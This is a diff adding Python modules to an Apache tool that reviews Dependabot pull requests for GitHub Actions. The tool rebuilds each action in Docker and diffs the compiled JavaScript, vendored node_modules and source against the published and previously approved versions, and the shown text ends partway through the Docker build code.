WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Dependabot PR review and merge workflow.""" + +from rich.panel import Panel +from rich.table import Table + +from .action_ref import parse_action_ref +from .console import console, link, ask_confirm, UserQuit +from .github_client import GitHubClient +from .pr_extraction import extract_action_refs_from_pr +from .verification import verify_single_action + + +def get_gh_user(gh: GitHubClient | None = None) -> str: + """Get the currently authenticated GitHub username.""" + if gh is None: + return "unknown" + return gh.get_authenticated_user() + + +def check_dependabot_prs(gh: GitHubClient, cache: bool = True, show_build_steps: bool = False) -> None: + """List open dependabot PRs, verify each, and optionally merge.""" + console.print() + console.rule("[bold]Dependabot PR Review[/bold]") + + with console.status("[bold blue]Fetching open dependabot PRs...[/bold blue]"): + all_prs = gh.list_open_prs(author="app/dependabot") + + if not all_prs: + console.print("[green]No open dependabot PRs found[/green]") + return + + eligible_prs: list[dict] = [] + excluded_prs: list[tuple[dict, str]] = [] + + for pr in all_prs: + if pr.get("reviewDecision") == "CHANGES_REQUESTED": + excluded_prs.append((pr, "changes requested by reviewer")) + continue + + checks = pr.get("statusCheckRollup", []) or [] + failed_checks = [ + c.get("name", "unknown") + for c in checks + if c.get("conclusion") in ("FAILURE", "ERROR", "CANCELLED") + and c.get("status") == "COMPLETED" + ] + if failed_checks: + excluded_prs.append((pr, f"failed checks: {', '.join(failed_checks)}")) + continue + + eligible_prs.append(pr) + + if excluded_prs: + console.print() + console.print("[bold]Excluded PRs:[/bold]") + exc_table = Table(show_header=True, border_style="yellow") + exc_table.add_column("PR", style="bold", min_width=8) + exc_table.add_column("Title") + exc_table.add_column("Reason", style="yellow") + + for pr, reason in excluded_prs: + pr_link = link(pr["url"], f"#{pr['number']}") + exc_table.add_row(pr_link, pr["title"], reason) + + console.print(exc_table) + console.print( + f"\n [dim]{len(excluded_prs)} PR(s) excluded — these need manual attention " + f"(resolve review comments or fix failing checks first)[/dim]" + ) + + if not eligible_prs: + console.print("\n[yellow]No eligible dependabot PRs to review[/yellow]") + return + + prs = eligible_prs + + console.print() + console.print("[bold]Eligible PRs:[/bold]") + table = Table(show_header=True, border_style="blue") + table.add_column("#", style="bold", min_width=5) + table.add_column("Title") + table.add_column("PR", min_width=8) + + for pr in prs: + pr_link = link(pr["url"], f"#{pr['number']}") + table.add_row(str(pr["number"]), pr["title"], pr_link) + + console.print(table) + console.print(f"\n [dim]{len(prs)} eligible PR(s) to review[/dim]") + + try: + if not ask_confirm("\n Review these PRs?"): + return + except UserQuit: + return + + gh_user = get_gh_user(gh=gh) + reviewed: list[dict] = [] + failed: list[dict] = [] + + for pr in prs: + console.print() + pr_link = link(f"https://github.com/apache/infrastructure-actions/pull/{pr['number']}", f"#{pr['number']}") + console.rule(f"[bold]PR {pr_link}: {pr['title']}[/bold]") + + with console.status("[bold blue]Extracting action references from PR...[/bold blue]"): + action_refs = extract_action_refs_from_pr(pr["number"], gh=gh) + + if not action_refs: + console.print( + f" [yellow]Could not extract action reference from PR {pr_link} — skipping[/yellow]" + ) + continue + + for ref in action_refs: + console.print(f" Action: [bold]{ref}[/bold]") + + refs_by_base: dict[str, list[str]] = {} + for ref in action_refs: + org, repo, sub_path, commit_hash = parse_action_ref(ref) + base_key = f"{org}/{repo}@{commit_hash}" + refs_by_base.setdefault(base_key, []).append(sub_path) + + passed = True + for base_key, sub_paths in refs_by_base.items(): + org_repo, commit_hash = base_key.rsplit("@", 1) + if any(sub_paths): + console.print() + console.print( + Panel( + f"[cyan]Monorepo action — verifying " + f"{len(sub_paths)} sub-action(s): " + f"{', '.join(sp for sp in sub_paths if sp)}[/cyan]", + border_style="cyan", + title="MONOREPO", + ) + ) + for sp in sub_paths: + if sp: + sub_ref = f"{org_repo}/{sp}@{commit_hash}" + else: + sub_ref = f"{org_repo}@{commit_hash}" + if not verify_single_action(sub_ref, gh=gh, cache=cache, show_build_steps=show_build_steps): + passed = False + else: + if not verify_single_action(f"{org_repo}@{commit_hash}", gh=gh, cache=cache, show_build_steps=show_build_steps): + passed = False + + if not passed: + console.print( + f"\n [red]Verification failed for PR {pr_link} — skipping merge[/red]" + ) + failed.append(pr) + continue + + try: + if not ask_confirm(f"\n Merge PR {pr_link}?"): + console.print(f" [dim]Skipped merging PR {pr_link}[/dim]") + continue + except UserQuit: + console.print(f" [dim]Quitting review[/dim]") + break + + verified_list = "\n".join(f"- `{ref}`" for ref in action_refs) + comment = ( + f"Reviewed by @{gh_user} using `verify-action-build.py`.\n\n" + f"Verified:\n{verified_list}\n\n" + f"- All CI/status checks were passing\n" + f"- No review changes were requested\n" + f"- Compiled JavaScript was rebuilt in an isolated Docker container " + f"and compared against the published version\n" + f"- Source changes between the previously approved version and this commit " + f"were reviewed\n\n" + f"Approving and merging." + ) + + console.print(f" [dim]Adding review comment...[/dim]") + if not gh.approve_pr(pr["number"], comment): + console.print(f" [yellow]Warning: could not add review comment[/yellow]") + + console.print(f" [dim]Merging PR {pr_link}...[/dim]") + success, err = gh.merge_pr(pr["number"]) + if success: + console.print(f" [green]✓ PR {pr_link} merged successfully[/green]") + reviewed.append(pr) + else: + console.print( + f" [red]Failed to merge PR {pr_link}: {err}[/red]" + ) + failed.append(pr) + + console.print() + console.rule("[bold]Dependabot Review Summary[/bold]") + if reviewed: + console.print( + Panel( + "\n".join(f" ✓ #{pr['number']} — {pr['title']}" for pr in reviewed), + title="[green bold]Merged[/green bold]", + border_style="green", + padding=(0, 1), + ) + ) + if failed: + console.print( + Panel( + "\n".join(f" ✗ #{pr['number']} — {pr['title']}" for pr in failed), + title="[red bold]Failed / Skipped[/red bold]", + border_style="red", + padding=(0, 1), + ) + ) diff --git a/utils/verify_action_build/diff_display.py b/utils/verify_action_build/diff_display.py new file mode 100644 index 00000000..7a19d0d6 --- /dev/null +++ b/utils/verify_action_build/diff_display.py @@ -0,0 +1,120 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Colored diff rendering with pagination support.""" + +import difflib +from pathlib import Path + +from rich.panel import Panel +from rich.text import Text + +from .console import console + + +def show_colored_diff( + filename: Path, + original: str, + rebuilt: str, + context_lines: int = 5, + from_label: str = "original", + to_label: str = "rebuilt", + border: str = "red", + ci_mode: bool = False, +) -> str: + """Show a colored unified diff between two strings, paged for large diffs. + + Returns "continue", "skip_file", or "quit" (skip all remaining files). + """ + orig_lines = original.splitlines(keepends=True) + built_lines = rebuilt.splitlines(keepends=True) + + diff_lines = list( + difflib.unified_diff( + orig_lines, + built_lines, + fromfile=f"{from_label}/{filename}", + tofile=f"{to_label}/{filename}", + n=context_lines, + ) + ) + + if not diff_lines: + return "continue" + + terminal_height = console.size.height - 4 + page_size = max(terminal_height, 20) + title = f"[bold]{filename}[/bold]" + + if ci_mode or len(diff_lines) <= page_size: + diff_text = format_diff_text(diff_lines) + console.print(Panel(diff_text, title=title, border_style=border, padding=(0, 1))) + return "continue" + + total_pages = (len(diff_lines) + page_size - 1) // page_size + console.print( + f" [dim]Diff has {len(diff_lines)} lines ({total_pages} pages) — " + f"Enter: next page, n: skip file, q: skip all remaining files[/dim]" + ) + + for page_num in range(total_pages): + start = page_num * page_size + end = min(start + page_size, len(diff_lines)) + page_lines = diff_lines[start:end] + + diff_text = format_diff_text(page_lines) + console.print(Panel( + diff_text, + title=title, + border_style=border, + padding=(0, 1), + subtitle=f"[dim]page {page_num + 1}/{total_pages}[/dim]", + )) + + if page_num < total_pages - 1: + try: + key = console.input("[dim]Enter: next page, n: skip file, q: skip all remaining files[/dim] ") + choice = key.strip().lower() + if choice == "n": + console.print(f" [dim]Skipped remaining diff for {filename}[/dim]") + return "skip_file" + if choice == "q": + console.print(f" [dim]Skipping all remaining files[/dim]") + return "quit" + except EOFError: + return "quit" + + return "continue" + + +def format_diff_text(lines: list[str]) -> Text: + """Format diff lines with syntax coloring.""" + diff_text = Text() + for line in lines: + line_stripped = line.rstrip("\n") + if line.startswith("---") or line.startswith("+++"): + diff_text.append(line_stripped + "\n", style="bold") + elif line.startswith("@@"): + diff_text.append(line_stripped + "\n", style="cyan") + elif line.startswith("+"): + diff_text.append(line_stripped + "\n", style="green") + elif line.startswith("-"): + diff_text.append(line_stripped + "\n", style="red") + else: + diff_text.append(line_stripped + "\n") + return diff_text diff --git a/utils/verify_action_build/diff_js.py b/utils/verify_action_build/diff_js.py new file mode 100644 index 00000000..d132b789 --- /dev/null +++ b/utils/verify_action_build/diff_js.py @@ -0,0 +1,152 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""JavaScript beautification and compiled JS comparison.""" + +from pathlib import Path + +import jsbeautifier + +from .console import console, link +from .diff_display import show_colored_diff + + +def beautify_js(content: str) -> str: + """Reformat JavaScript for readable diffing.""" + opts = jsbeautifier.default_options() + opts.indent_size = 2 + opts.wrap_line_length = 120 + result = jsbeautifier.beautify(content, opts) + lines = [line.rstrip() for line in result.splitlines()] + return "\n".join(lines) + "\n" + + +def diff_js_files( + original_dir: Path, rebuilt_dir: Path, org: str, repo: str, commit_hash: str, + out_dir_name: str = "dist", +) -> bool: + """Diff JS files between original and rebuilt, return True if identical.""" + blob_url = f"https://github.com/{org}/{repo}/blob/{commit_hash}" + + # Files vendored by @vercel/ncc that are not built from the action's source. + ignored_files = {"sourcemap-register.js"} + + original_files = set() + rebuilt_files = set() + + for f in original_dir.rglob("*.js"): + original_files.add(f.relative_to(original_dir)) + for f in rebuilt_dir.rglob("*.js"): + rebuilt_files.add(f.relative_to(rebuilt_dir)) + + all_files = sorted(original_files | rebuilt_files) + + if not all_files: + console.print( + f"\n[yellow]No compiled JavaScript found in {out_dir_name}/ — " + "this action may ship source JS directly (e.g. with node_modules/)[/yellow]" + ) + return True + + console.print() + console.rule(f"[bold]Comparing {len(all_files)} JavaScript file(s)[/bold]") + + all_match = True + + def is_minified(content: str) -> bool: + """Check if JS content appears to be minified.""" + lines = content.splitlines() + if not lines: + return False + avg_len = sum(len(l) for l in lines) / len(lines) + return avg_len > 500 or len(lines) < 10 + + # Check which ignored files are actually referenced by other JS files + all_js_contents: dict[Path, str] = {} + for rel_path in all_files: + for base_dir in (original_dir, rebuilt_dir): + full_path = base_dir / rel_path + if full_path.exists() and rel_path not in all_js_contents: + all_js_contents[rel_path] = full_path.read_text(errors="replace") + + for rel_path in all_files: + if rel_path.name in ignored_files: + referenced_by = [ + other + for other, content in all_js_contents.items() + if other != rel_path and rel_path.name in content + ] + if referenced_by: + console.print( + f" [yellow]![/yellow] {rel_path} is in the ignore list but is " + f"referenced by: {', '.join(str(r) for r in referenced_by)} " + f"— [bold]comparing anyway[/bold]" + ) + else: + console.print( + f" [dim]⊘ {rel_path} (skipped: vendored @vercel/ncc runtime helper, " + f"not referenced by other JS files)[/dim]" + ) + continue + + orig_file = original_dir / rel_path + built_file = rebuilt_dir / rel_path + + file_link = link(f"{blob_url}/{out_dir_name}/{rel_path}", str(rel_path)) + + if rel_path not in original_files: + console.print(f" [green]+[/green] {file_link} [dim](only in rebuilt)[/dim]") + with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): + built_content = beautify_js(built_file.read_text(errors="replace")) + show_colored_diff(rel_path, "", built_content) + all_match = False + continue + + if rel_path not in rebuilt_files: + console.print(f" [red]-[/red] {file_link} [dim](only in original)[/dim]") + with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): + orig_content = beautify_js(orig_file.read_text(errors="replace")) + show_colored_diff(rel_path, orig_content, "") + all_match = False + continue + + orig_raw = orig_file.read_text(errors="replace") + built_raw = built_file.read_text(errors="replace") + + with console.status(f"[dim]Beautifying {rel_path}...[/dim]"): + orig_content = beautify_js(orig_raw) + built_content = beautify_js(built_raw) + + if orig_content == built_content: + console.print(f" [green]✓[/green] {file_link} [green](identical)[/green]") + elif not is_minified(orig_raw): + console.print( + f" [yellow]~[/yellow] {file_link} [yellow](non-minified JS — " + f"rebuild differs, likely due to ncc/toolchain version differences)[/yellow]" + ) + console.print( + f" [dim]The dist/ JS is human-readable and not minified. Small differences " + f"in the webpack boilerplate are expected across ncc versions.\n" + f" Review the source changes via the approved version diff below instead.[/dim]" + ) + else: + all_match = False + console.print(f" [red]✗[/red] {file_link} [red bold](DIFFERS)[/red bold]") + show_colored_diff(rel_path, orig_content, built_content) + + return all_match diff --git a/utils/verify_action_build/diff_node_modules.py b/utils/verify_action_build/diff_node_modules.py new file mode 100644 index 00000000..69575863 --- /dev/null +++ b/utils/verify_action_build/diff_node_modules.py @@ -0,0 +1,158 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Vendored node_modules comparison.""" + +import hashlib +import json +from pathlib import Path + +from .console import console, link +from .diff_display import show_colored_diff + + +def diff_node_modules( + original_dir: Path, rebuilt_dir: Path, org: str, repo: str, commit_hash: str, +) -> bool: + """Compare original vs rebuilt node_modules. Return True if they match.""" + blob_url = f"https://github.com/{org}/{repo}/blob/{commit_hash}/node_modules" + + # Metadata files that legitimately differ between installs + noisy_files = {".package-lock.json", ".yarn-integrity"} + noisy_dirs = {".cache", ".package-lock.json"} + + def collect_files(base: Path) -> dict[Path, str]: + """Collect all files under base with their SHA256 hashes.""" + result = {} + for f in sorted(base.rglob("*")): + if not f.is_file(): + continue + rel = f.relative_to(base) + if rel.name in noisy_files: + continue + if any(part in noisy_dirs for part in rel.parts): + continue + result[rel] = hashlib.sha256(f.read_bytes()).hexdigest() + return result + + console.print() + console.rule("[bold]Comparing vendored node_modules[/bold]") + + with console.status("[dim]Hashing files...[/dim]"): + original_files = collect_files(original_dir) + rebuilt_files = collect_files(rebuilt_dir) + + original_set = set(original_files.keys()) + rebuilt_set = set(rebuilt_files.keys()) + + only_in_original = sorted(original_set - rebuilt_set) + only_in_rebuilt = sorted(rebuilt_set - original_set) + common = sorted(original_set & rebuilt_set) + + original_packages = sorted({p.parts[0] for p in original_set if len(p.parts) > 1}) + rebuilt_packages = sorted({p.parts[0] for p in rebuilt_set if len(p.parts) > 1}) + pkg_only_orig = set(original_packages) - set(rebuilt_packages) + pkg_only_rebuilt = set(rebuilt_packages) - set(original_packages) + + console.print( + f" [dim]Original: {len(original_files)} files in {len(original_packages)} packages[/dim]" + ) + console.print( + f" [dim]Rebuilt: {len(rebuilt_files)} files in {len(rebuilt_packages)} packages[/dim]" + ) + + all_match = True + + if pkg_only_orig: + all_match = False + console.print(f"\n [red]Packages only in original ({len(pkg_only_orig)}):[/red]") + for pkg in sorted(pkg_only_orig): + console.print(f" [red]-[/red] {pkg}") + + if pkg_only_rebuilt: + all_match = False + console.print(f"\n [red]Packages only in rebuilt ({len(pkg_only_rebuilt)}):[/red]") + for pkg in sorted(pkg_only_rebuilt): + console.print(f" [green]+[/green] {pkg}") + + extra_in_orig = [f for f in only_in_original if f.parts[0] not in pkg_only_orig] + if extra_in_orig: + all_match = False + console.print(f"\n [red]Files only in original (not from extra packages) — {len(extra_in_orig)}:[/red]") + for f in extra_in_orig[:20]: + file_link = link(f"{blob_url}/{f}", str(f)) + console.print(f" [red]-[/red] {file_link}") + if len(extra_in_orig) > 20: + console.print(f" [dim]... and {len(extra_in_orig) - 20} more[/dim]") + + extra_in_rebuilt = [f for f in only_in_rebuilt if f.parts[0] not in pkg_only_rebuilt] + if extra_in_rebuilt: + console.print(f"\n [yellow]Files only in rebuilt (not from extra packages) — {len(extra_in_rebuilt)}:[/yellow]") + for f in extra_in_rebuilt[:20]: + console.print(f" [green]+[/green] {f}") + if len(extra_in_rebuilt) > 20: + console.print(f" [dim]... and {len(extra_in_rebuilt) - 20} more[/dim]") + + # Compare common files by hash + mismatched = [] + for rel_path in common: + if original_files[rel_path] != rebuilt_files[rel_path]: + mismatched.append(rel_path) + + # Filter mismatched: ignore package.json fields that change between installs + real_mismatches = [] + for rel_path in mismatched: + if rel_path.name == "package.json": + orig_text = (original_dir / rel_path).read_text(errors="replace") + rebuilt_text = (rebuilt_dir / rel_path).read_text(errors="replace") + install_fields = {"_resolved", "_integrity", "_from", "_where", "_id", + "_requested", "_requiredBy", "_shasum", "_spec", + "_phantomChildren", "_inBundle"} + try: + orig_json = json.loads(orig_text) + rebuilt_json = json.loads(rebuilt_text) + for field in install_fields: + orig_json.pop(field, None) + rebuilt_json.pop(field, None) + if orig_json == rebuilt_json: + continue + except (json.JSONDecodeError, ValueError): + pass + real_mismatches.append(rel_path) + + matched_count = len(common) - len(real_mismatches) + if real_mismatches: + all_match = False + console.print( + f"\n [red]Files with different content — {len(real_mismatches)} of {len(common)}:[/red]" + ) + shown = 0 + for rel_path in real_mismatches: + file_link = link(f"{blob_url}/{rel_path}", str(rel_path)) + console.print(f" [red]✗[/red] {file_link}") + if shown < 5 and rel_path.suffix == ".js": + orig_content = (original_dir / rel_path).read_text(errors="replace") + rebuilt_content = (rebuilt_dir / rel_path).read_text(errors="replace") + show_colored_diff(rel_path, orig_content, rebuilt_content) + shown += 1 + if len(real_mismatches) > 20: + console.print(f" [dim]... showing first 20 of {len(real_mismatches)}[/dim]") + else: + console.print(f"\n [green]✓[/green] All {matched_count} common files match") + + return all_match diff --git a/utils/verify_action_build/diff_source.py b/utils/verify_action_build/diff_source.py new file mode 100644 index 00000000..bd3cd588 --- /dev/null +++ b/utils/verify_action_build/diff_source.py @@ -0,0 +1,205 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Source file diffing between approved and new versions.""" + +import shutil +from pathlib import Path + +from rich.panel import Panel + +from .console import console, run, ask_confirm, UserQuit +from .diff_display import show_colored_diff + + +def diff_approved_vs_new( + org: str, repo: str, approved_hash: str, new_hash: str, work_dir: Path, + ci_mode: bool = False, +) -> None: + """Diff source files between an approved version and the new version.""" + console.print() + console.rule("[bold]Diff: Approved vs New (source changes)[/bold]") + + approved_dir = work_dir / "approved-src" + new_dir = work_dir / "new-src" + approved_dir.mkdir(exist_ok=True) + new_dir.mkdir(exist_ok=True) + + repo_url = f"https://github.com/{org}/{repo}.git" + + excluded_dirs = {"dist", "node_modules", ".git", ".github", "__tests__", "__mocks__"} + lock_files = { + "package-lock.json", "yarn.lock", "pnpm-lock.yaml", "bun.lockb", + "shrinkwrap.json", "npm-shrinkwrap.json", + } + source_extensions = {".js", ".ts", ".mjs", ".cjs", ".mts", ".cts", ".json", ".yml", ".yaml"} + + with console.status("[bold blue]Fetching source from both versions...[/bold blue]"): + clone_dir = work_dir / "repo-clone" + run( + ["git", "clone", "--no-checkout", repo_url, str(clone_dir)], + capture_output=True, + ) + + skipped_dirs: set[str] = set() + + for label, commit, out_dir in [ + ("approved", approved_hash, approved_dir), + ("new", new_hash, new_dir), + ]: + run( + ["git", "checkout", commit], + capture_output=True, + cwd=clone_dir, + ) + for f in clone_dir.rglob("*"): + if not f.is_file(): + continue + rel = f.relative_to(clone_dir) + matched = [part for part in rel.parts if part in excluded_dirs] + if matched: + skipped_dirs.update(matched) + continue + if rel.suffix in source_extensions: + dest = out_dir / rel + dest.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(f, dest) + + console.print(" [green]✓[/green] Fetched source from both versions") + + test_dirs = {"__tests__", "__mocks__"} + skipped_test_dirs = sorted(skipped_dirs & test_dirs) + + approved_files = set() + new_files = set() + for f in approved_dir.rglob("*"): + if f.is_file(): + approved_files.add(f.relative_to(approved_dir)) + for f in new_dir.rglob("*"): + if f.is_file(): + new_files.add(f.relative_to(new_dir)) + + all_files = sorted(approved_files | new_files) + + if not all_files: + console.print(" [yellow]No source files found[/yellow]") + return + + skipped_locks = sorted(f for f in all_files if f.name in lock_files) + has_skips = bool(skipped_locks) or bool(skipped_test_dirs) + + if has_skips: + console.print() + console.print(" [bold]The following files/directories are excluded from comparison:[/bold]") + if skipped_test_dirs: + console.print(f" [dim]⊘ {', '.join(skipped_test_dirs)} (test files only, not part of the action runtime)[/dim]") + if skipped_locks: + console.print(f" [dim]⊘ {len(skipped_locks)} lock file(s) (generated by package managers):[/dim]") + for f in skipped_locks: + console.print(f" [dim]- {f}[/dim]") + for d in sorted(excluded_dirs - {"dist", "node_modules", ".git"} - test_dirs): + if any(d in str(f) for f in all_files): + console.print(f" [dim]⊘ {d}/ (not part of the action runtime)[/dim]") + + if not ci_mode: + try: + if not ask_confirm(" Proceed with these exclusions?"): + console.print(" [yellow]Aborted by user[/yellow]") + return + except UserQuit: + console.print(" [yellow]Aborted by user[/yellow]") + return + + skipped_by_user: list[tuple[Path, str]] = [] + quit_all = False + + for rel_path in all_files: + if rel_path.name in lock_files: + continue + + if quit_all: + skipped_by_user.append((rel_path, "skipped (quit)")) + continue + + approved_file = approved_dir / rel_path + new_file = new_dir / rel_path + + if rel_path not in approved_files: + console.print(f" [cyan]+[/cyan] {rel_path} [dim](new file)[/dim]") + new_content = new_file.read_text(errors="replace") + result = show_colored_diff(rel_path, "", new_content, from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) + if result == "skip_file": + skipped_by_user.append((rel_path, "new file")) + elif result == "quit": + quit_all = True + continue + + if rel_path not in new_files: + console.print(f" [cyan]-[/cyan] {rel_path} [dim](removed)[/dim]") + approved_content = approved_file.read_text(errors="replace") + result = show_colored_diff(rel_path, approved_content, "", from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) + if result == "skip_file": + skipped_by_user.append((rel_path, "removed")) + elif result == "quit": + quit_all = True + continue + + approved_content = approved_file.read_text(errors="replace") + new_content = new_file.read_text(errors="replace") + + if approved_content == new_content: + console.print(f" [green]✓[/green] {rel_path} [green](identical)[/green]") + else: + console.print(f" [cyan]~[/cyan] {rel_path} [cyan](changed — expected between versions)[/cyan]") + result = show_colored_diff(rel_path, approved_content, new_content, from_label="approved", to_label="new", border="cyan", ci_mode=ci_mode) + if result == "skip_file": + skipped_by_user.append((rel_path, "changed")) + elif result == "quit": + quit_all = True + + console.print() + + if has_skips: + excluded_summary = [] + if skipped_test_dirs: + excluded_summary.append(f" {', '.join(skipped_test_dirs)}/ (test files)") + if skipped_locks: + for f in skipped_locks: + excluded_summary.append(f" {f} (lock file)") + for d in sorted(excluded_dirs - {"dist", "node_modules", ".git"} - test_dirs): + if any(d in str(f) for f in all_files): + excluded_summary.append(f" {d}/ (not part of action runtime)") + if excluded_summary: + console.print( + Panel( + "\n".join(excluded_summary), + title="[green bold]Excluded from comparison (confirmed by reviewer)[/green bold]", + border_style="green", + padding=(0, 1), + ) + ) + + if skipped_by_user: + console.print( + Panel( + "\n".join(f" - {f} ({reason})" for f, reason in skipped_by_user), + title="[yellow bold]Files skipped — still need manual review[/yellow bold]", + border_style="yellow", + padding=(0, 1), + ) + ) diff --git a/utils/verify_action_build/docker_build.py b/utils/verify_action_build/docker_build.py new file mode 100644 index 00000000..35910acd --- /dev/null +++ b/utils/verify_action_build/docker_build.py @@ -0,0 +1,281 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Docker-based action building and artifact extraction.""" + +import re +import subprocess +from pathlib import Path + +import requests + +from rich.panel import Panel +from rich.table import Table + +from .console import console, link, run +from .github_client import GitHubClient + +# Path to the Dockerfile template shipped with this package +_DOCKERFILE_PATH = Path(__file__).resolve().parent / "dockerfiles" / "build_action.Dockerfile" + + +def _read_dockerfile_template() -> str: + """Read the Dockerfile template from the package's dockerfiles directory.""" + return _DOCKERFILE_PATH.read_text() + + +def detect_node_version( + org: str, repo: str, commit_hash: str, sub_path: str = "", + gh: GitHubClient | None = None, +) -> str: + """Detect the Node.js major version from the action's using: field. + + Fetches action.yml from GitHub at the given commit and extracts the + node version (e.g. 'node20' -> '20'). Falls back to '20' if detection fails. + """ + candidates = [] + if sub_path: + candidates.extend([f"{sub_path}/action.yml", f"{sub_path}/action.yaml"]) + candidates.extend(["action.yml", "action.yaml"]) + + for path in candidates: + url = f"https://raw.githubusercontent.com/{org}/{repo}/{commit_hash}/{path}" + try: + resp = requests.get(url, timeout=10) + if not resp.ok: + continue + for line in resp.text.splitlines(): + match = re.match(r"\s+using:\s*['\"]?(node\d+)['\"]?", line) + if match: + version = match.group(1).replace("node", "") + return version + except requests.RequestException: + continue + + return "20" + + +def _print_docker_build_steps(build_result: subprocess.CompletedProcess[str]) -> None: + """Parse and display Docker build step summaries from --progress=plain output.""" + build_output = build_result.stderr + build_result.stdout + step_names: dict[str, str] = {} + step_status: dict[str, str] = {} + for line in build_output.splitlines(): + m = re.match(r"^#(\d+)\s+(\[.+)", line) + if m: + step_names[m.group(1)] = m.group(2) + continue + m = re.match(r"^#(\d+)\s+(DONE\s+[\d.]+s|CACHED)", line) + if m: + step_status[m.group(1)] = m.group(2) + + if step_names: + console.print() + console.rule("[bold blue]Docker build steps[/bold blue]") + for sid in sorted(step_names, key=lambda x: int(x)): + name = step_names[sid] + status_str = step_status.get(sid, "") + if "CACHED" in status_str: + console.print(f" [dim]✓ {name} (cached)[/dim]") + else: + console.print(f" [green]✓[/green] {name} [dim]{status_str}[/dim]") + console.print() + + +def build_in_docker( + org: str, repo: str, commit_hash: str, work_dir: Path, + sub_path: str = "", + gh: GitHubClient | None = None, + cache: bool = True, + show_build_steps: bool = False, +) -> tuple[Path, Path, str, str, bool, Path, Path]: + """Build the action in a Docker container and extract original + rebuilt dist. + + Returns (original_dir, rebuilt_dir, action_type, out_dir_name, + has_node_modules, original_node_modules, rebuilt_node_modules). + """ + repo_url = f"https://github.com/{org}/{repo}.git" + container_name = f"verify-action-{org}-{repo}-{commit_hash[:12]}" + + dockerfile_path = work_dir / "Dockerfile" + dockerfile_path.write_text(_read_dockerfile_template()) + + original_dir = work_dir / "original-dist" + rebuilt_dir = work_dir / "rebuilt-dist" + original_dir.mkdir(exist_ok=True) + rebuilt_dir.mkdir(exist_ok=True) + + image_tag = f"verify-action:{org}-{repo}-{commit_hash[:12]}" + + action_display = f"{org}/{repo}" + if sub_path: + action_display += f"/{sub_path}" + + repo_link = link(f"https://github.com/{org}/{repo}", action_display) + commit_link = link(f"https://github.com/{org}/{repo}/commit/{commit_hash}", commit_hash) + + info_table = Table(show_header=False, box=None, padding=(0, 1)) + info_table.add_column(style="bold") + info_table.add_column() + info_table.add_row("Action", repo_link) + info_table.add_row("Commit", commit_link) + console.print() + console.print(Panel(info_table, title="Action Build Verification", border_style="blue")) + + node_version = detect_node_version(org, repo, commit_hash, sub_path, gh=gh) + if node_version != "20": + console.print(f" [green]✓[/green] Detected Node.js version: [bold]node{node_version}[/bold]") + + docker_build_cmd = [ + "docker", + "build", + "--progress=plain", + "--build-arg", + f"NODE_VERSION={node_version}", + "--build-arg", + f"REPO_URL={repo_url}", + "--build-arg", + f"COMMIT_HASH={commit_hash}", + "--build-arg", + f"SUB_PATH={sub_path}", + "-t", + image_tag, + "-f", + str(dockerfile_path), + str(work_dir), + ] + if not cache: + docker_build_cmd.insert(3, "--no-cache") + + with console.status("[bold blue]Building Docker image...[/bold blue]"): + build_result = subprocess.run( + docker_build_cmd, capture_output=True, text=True, + ) + if build_result.returncode != 0: + console.print("[red]Docker build failed. Output:[/red]") + console.print(build_result.stdout) + console.print(build_result.stderr) + _print_docker_build_steps(build_result) + raise subprocess.CalledProcessError(build_result.returncode, docker_build_cmd) + + if show_build_steps: + _print_docker_build_steps(build_result) + + with console.status("[bold blue]Extracting build artifacts...[/bold blue]") as status: + + try: + run( + ["docker", "create", "--name", container_name, image_tag], + capture_output=True, + ) + + run( + [ + "docker", + 